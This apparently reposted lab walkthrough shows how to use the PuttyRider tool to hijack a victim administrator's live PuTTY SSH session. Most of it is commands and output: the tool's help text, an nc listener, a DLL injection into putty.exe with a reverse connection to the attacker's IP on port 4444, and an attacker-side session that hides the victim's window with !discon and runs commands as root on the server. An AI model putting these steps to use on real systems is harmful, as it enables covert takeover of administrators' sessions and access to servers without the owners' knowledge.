PuttyRider
来源:互联网 发布:稳定网络的软件 编辑:程序博客网 时间:2024/05/02 06:12
Victim: 192.168.108.191
SSH Server: 192.168.108.123
Attacker: 192.168.108.197
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# //////////////// [1. Description] //////////////////////////
Victim ---- putty ----> SSH Server
Victim is a administrator, and he can manage SSH Server.
Now we have control the Victim machine, and want to get
SSH Server password.
Victim use [putty] to access SSH Server, and [Putty] is still running.
How can we do ?
PuttyRider ---- https://github.com/seastorm/PuttyRider/releases/
---- sources and binary
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# //////////////// [2. Usage] //////////////////////////
1. We need a TCP listener. [nc -v -l -p 4444]
2. Use [PuttyRider] to inject [Putty]
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# ---------->>>> Victim Machine <<<<--------------
C:\Users\Public\PuttyRider-bin>dir
......
2014/12/09 05:00 80,896 PuttyRider.dll
2014/12/09 05:00 77,824 PuttyRider.exe
......
C:\Users\Public\PuttyRider-bin>PuttyRider.exe -h
PuttyRider v0.1
===============
Usage: PuttyRider.exe [options]
Options:
Operation modes:
-l List the running Putty processes and their connections
-w Inject in all existing Putty sessions and wait for new sessions
to inject in those also
-p PID Inject only in existing Putty session identified by PID.
If PID==0, inject in the first Putty found
-x Cleanup. Remove the DLL from all running Putty instances
-d Debug mode. Only works with -p mode
-c CMD Automatically execute a Linux command after successful injection
PuttyRider will remove trailing spaces and '&' character from CMD
PuttyRider will add " 1>/dev/null 2>/dev/null &" to CMD
-h Print this help
Output modes:
-f Write all Putty conversation to a file in the local directory.
The filename will have the PID of current putty.exe appended
-r IP:PORT Initiate a reverse connection to the specified machine and
start an interactive session.
Interactive commands (after you receive a reverse connection):
!status See if the Putty window is connected to user input
!discon Disconnect the main Putty window so it won't display anything
This is useful to send commands without the user to notice
!recon Reconnect the Putty window to its normal operation mode
CMD Linux shell commands
!exit Terminate this connection
!help Display help for client connection
C:\Users\Public\PuttyRider-bin>PuttyRider.exe -l
PuttyRider v0.1
===============
[+] Listing running Putty processes...
Process Name PID Local Address Remote Address Injected
------------ --- ------------- -------------- --------
putty.exe 2452 192.168.108.191:49164 192.168.108.123:22 No
C:\Users\Public\PuttyRider-bin>PuttyRider.exe -p 2452 -r 192.168.108.197:4444
PuttyRider v0.1
===============
[+] Using putty.exe PID=2452
[+] Injecting DLL...
[+] Pipe client connected
[+] [2452] Target path: C:\Users\test\Desktop\putty.exe
[+] [2452] Base address: 00400000
[+] [2452] .text start address: 00001000
[+] [2452] .text size: 00055fb1
[+] [2452] ldisc_send() found at: 004083ee
[+] [2452] term_data() found at: 004371a8
[+] [2452] Connecting to 192.168.108.197:4444
[+] [2452] Reverse connection succeeded
[+] [2452] Function hooks installed successfully
[+] Check the log file and/or the remote connection handler
[+] Exiting PuttyRider
# +++++++++++++++++++++++++++++++++++++++++++++++++++
# ---------->>>> Attacker Machine <<<<--------------
$ nc.traditional -v -l -p 4444
offensive@lib:~$ nc.traditional -v -l -p 4444
listening on [any] 4444 ...
192.168.108.191: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.108.197] from (UNKNOWN) [192.168.108.191] 49167
PuttyRider v0.1
===============
[+] [2452] Client connected. Putty PID=2452
[+] [2452] Type !help for more commands
!help
Help commands:
!status See if the Putty window is connected to user input
!discon Disconnect the main Putty window so it won't display any message
This is useful to send shell commands without the user's notice
!recon Reconnect the Putty window to its normal operation mode
CMD Linux shell commands
!exit Terminate this connection
!help Display help for client connection
!discon --------> *****
[+] [2452] Local endpoint: 192.168.108.191:49166
[+] [2452] Remote endpoint: 192.168.108.123:22
[+] [2452] Putty window disconnected
id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[root@Arch ~]# !recon --------> *****
[+] [2452] Putty window connected
id
[-] [2452] You must first disconnect the Putty window (!discon command)
0 0